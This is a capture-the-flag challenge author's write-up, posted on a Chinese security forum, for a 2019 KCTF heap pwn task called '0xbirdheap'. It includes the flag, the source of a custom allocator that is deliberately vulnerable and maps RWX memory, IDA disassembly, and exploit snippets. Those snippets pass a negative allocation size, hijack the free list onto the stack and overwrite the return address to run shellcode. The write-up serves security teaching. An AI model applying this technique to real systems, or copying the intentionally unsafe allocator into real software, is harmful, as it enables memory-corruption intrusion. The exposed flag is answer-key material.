首页
论坛
课程
招聘
[原创]2019 KCTF Q3 Pwn题 第六题:神秘刺客设计思路:0xbirdpwn
2019-8-29 21:47 1615

[原创]2019 KCTF Q3 Pwn题 第六题:神秘刺客设计思路:0xbirdpwn

2019-8-29 21:47
1615

题目名称:0xbirdheap

 

题目flag:flag{He1e's_an_f10g_3Nc3507_E0sy_pwn}

 

题目格式:linux下64位的ELF文件,只开了NX保护

 

出题思路:

 

main函数源码:

 

 

通过malloc分配一个堆缓冲区;释放指定的缓冲区;在指定地址可以写入;输出堆栈地址;退出返回

 

主要漏洞逻辑是在malloc和free函数中,每一个堆块都有读写区域,最后两个word会作为空闲列表指针。

 

堆区域布置如下:

size buffer ... [fd] [bk]
大小 缓冲区 前向指针 后向指针
 

在free之后存在一个UAF漏洞,可以通过在free和malloc之后重写fd的值将bin设置成任意地址,现在该地址的区域是由下一个malloc保护的,这样就可以控制返回地址,并且只开了NX,代码是可以被写入堆空间中的,这样返回地址就会被重写为堆地址,劫持后执行shellcode。

 

add_free_block函数源码:

void *add_free_block( unsigned int size)
{
    void *new_block = NULL;
    pm_header thdr;
    pm_footer tftr;

    /// 将size + sizeof(malloc header)放置到最近的页上
    size += sizeof( m_header );

    if ( size % PAGE_SIZE ) {
        size /= PAGE_SIZE;
        size += 1;
        size *= PAGE_SIZE;
    }

    new_block = mmap( NULL, size, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

    if ( new_block == NULL ) {
        exit(-1);
    }

    thdr = (pm_header)new_block;

    thdr->size = size - sizeof(m_header);

    tftr = BLOCK_FOOTER( new_block );

    tftr->pNext = NULL;
    tftr->pPrev = memman_g.free_list;

    memman_g.free_list = new_block;

    return new_block;
}

malloc代码:

void *malloc( unsigned int size )
{
    void *freeWalker = NULL;
    void *final_alloc = NULL;
    void *new_block = NULL;
    unsigned int size_left = 0;

    pm_header thdr;
    pm_footer tftr;
    pm_header header_new_block;
    pm_footer footer_new_block;

    /// 每个块至少是页脚结构的大小
    if ( size < sizeof( m_footer ) ) {
        size = sizeof(m_footer);
    }

    /// 对齐到8个字节
    if ( size % 8 ) {
        size = ( size >> 3 ) + 1;
        size <<= 3;
    }

    freeWalker = memman_g.free_list;

    while ( 1 ) {
        if ( freeWalker == NULL ) {
            freeWalker = add_free_block( size );
        }

        thdr = (pm_header)freeWalker;
        tftr = BLOCK_FOOTER( freeWalker );

        /// 检查当前块是否足够大以满足请求
        /// 如果是的话,就要根据需要缩小尺寸
        if ( ( thdr->size & ~3) >= size ) {
            final_alloc = freeWalker + sizeof(pm_header);

            size_left = (thdr->size& ~3) - size;

            /// 设置一个标志
            thdr->size |= 1;

            // 如果有空间则创建一个新块
            if ( size_left > sizeof(m_header) + sizeof( m_footer) ) {

                // 修正尺寸大小
                thdr->size = size;
                thdr->size |= 1;

                // 设置标志,前一个块后面还有一个堆块
                thdr->size |= 2;

                new_block = final_alloc + size;

                header_new_block = (pm_header)new_block;
                header_new_block->size = size_left - sizeof(m_header);
                footer_new_block = tftr;

                /// 如果这是列表的头部就要修正它
                if ( freeWalker == memman_g.free_list ) {

                    memman_g.free_list = new_block;


                    if ( tftr->pNext != NULL ) {
                        tftr = BLOCK_FOOTER( (void*)(tftr->pNext) );
                        tftr->pPrev = (pm_header)new_block;
                    }
                } else {

                    // 修改前向和后向指针
                    if ( tftr->pPrev != NULL ) {
                        freeWalker = tftr->pPrev;
                        tftr = BLOCK_FOOTER( freeWalker );
                        tftr->pNext = (pm_header)new_block;

                        tftr = footer_new_block;
                    }

                    if ( tftr->pNext != NULL ) {
                        freeWalker = tftr->pNext;
                        tftr = BLOCK_FOOTER( freeWalker);
                        tftr->pPrev = (pm_header)new_block;
                    }

                }

            } else {

                /// 修改前向和后向指针
                if ( freeWalker == memman_g.free_list ) {
                    memman_g.free_list = tftr->pNext;

                    if ( memman_g.free_list ) {
                        tftr = BLOCK_FOOTER( (void*)(memman_g.free_list) );
                        tftr->pPrev = NULL;
                    }

                } else {
                    // 修改前向和后向指针
                    if ( tftr->pPrev != NULL ) {
                        freeWalker = tftr->pPrev;
                        pm_footer unlink_ftr = BLOCK_FOOTER( freeWalker );
                        unlink_ftr->pNext = tftr->pNext;
                    }

                    if ( tftr->pNext != NULL ) {
                        freeWalker = tftr->pNext;

                        pm_footer unlink_ftr = BLOCK_FOOTER( freeWalker);
                        unlink_ftr->pPrev = tftr->pPrev;
                    }
                }
            }

            /// 修改完成,返回分配的堆空间
            return final_alloc;
        }

        freeWalker = (void*)tftr->pNext;

    }
}

这个漏洞是在分配新缓冲区时,没有检查缓冲区大小,这样就可以提供负大小的缓冲区

 

IDA代码如下:

.text:0000000000400A28 mov     edx, 0FFh       ; nbytes
.text:0000000000400A2D mov     rsi, rax        ; buf
.text:0000000000400A30 mov     edi, 0          ; fd
.text:0000000000400A35 call    _read           ;; read(0, &stdin_buffer, 0xFF)

.text:0000000000400A49 lea     rax, [rbp+stdin_buffer]
.text:0000000000400A50 mov     rdi, rax        ; nptr
.text:0000000000400A53 call    _atoi
.text:0000000000400A58 mov     [rbp+size], eax
.text:0000000000400A5B mov     ebx, cs:index
.text:0000000000400A61 mov     eax, [rbp+sz]
.text:0000000000400A64 mov     edi, eax
.text:0000000000400A66 call    allocate_buffer  ;; no check on size before call to allocate_buffer(size)

free_buffer(data_ptr)将得到块的长度data_ptr - 8,并且会存储指向head_free_list_ptr的块,在下一次free()后 ,这个指针将会被解引用,但是这个指针也是可控的。

 

利用这个漏洞需要使用堆分配器直接在堆栈内进行分配(由于“Nice Addr”命令,其地址已知)。

 

所以我们需要:

  1. 分配3个堆块,第二个分配的块必须是-1后的大小
  2. 释放第3个堆块
  3. 释放第二堆块
          +----------------+
          |  size = N      |
          |  data          |
          |   ..           |
          |                |
          |                |
          |  ptr_to_stack  |
          +----------------+
          |  size = -1     |
          +----------------+
          |  size = M      |
          |  data          |
          |                |
          |                |
          +----------------+

第二次释放后,我们就可以控制head_free_list_ptr了:

  sz = 128
  allocate(s, sz)
  allocate(s, -1)
  allocate(s, 10)

  free(s, "3")
  free(s, "2")

  payload = "A"*(sz-8) + p64(0x4242424242424242)
  write(s, 1, payload)

现在需要确切知道最后一次调用$ rbp的确切位置,“Nice Addr”命令会提供信息。

 

main() 函数使用非常大的缓冲区(0x100字节)来存储从stdin读取的值:

.text:0000000000400905 ; int __cdecl main(int, char **, char **)
.text:0000000000400905 main proc near
.text:0000000000400905
.text:0000000000400905 stdin_buffer= byte ptr -120h    ;; <<-- this buffer provides a good place to land reliably
.text:0000000000400905 sz= dword ptr -14h

位置也很容易确定:

               ^       +------------------+
               |       |    RetAddr       |
               |       +------------------+
context of     |       |   SFP of main    |
               |       +------------------+
main()         |       |     size         |
               |       |  buffer[0x100]   |
               |       |                  | <-------------------------------+
               |       |                  |                                 |
               |       |                  |                                 |
               |       |                  |                                 |
               |       |                  |                                 |
               V       |                  |                                 |
               ^       +------------------+                                 |
               |       |    RetAddr       |                                 |
               |       +------------------+                                 |
               |       |      SFP         |                                 |
context of     |       +------------------+  <------ $rbp points here, so $rbp+0x7e is sure to land
               |       |                  |          to the stack of main()
allocate()     |       |                  |
               |       |                  |
               |       |                  |
               |       |                  |
               |       |                  |
               |       |                  |
               V       +------------------+

现在head_free_list_ptr就完全可控了。我们需要在此地址写入一个较大的值,例如0x1000,这样在检查此地址时,allocate_buffer()会认为堆栈中的缓冲区足够大,就可用于新的分配:

padd = 'D'*126 + p64(0x1000) + 'B'*8 + 'C'*8
free(s, "2" + "\0" + padd)

allocate(s, 512)

这样就将其转换为了常规堆栈溢出,只需在新分配的地址0x7fffffffe458处写入shellcode即可。


2022 KCTF春季赛【最佳人气奖】火热评选中!快来投票吧~

最后于 2019-9-25 10:16 被kanxue编辑 ,原因:
上传的附件:
收藏
点赞0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回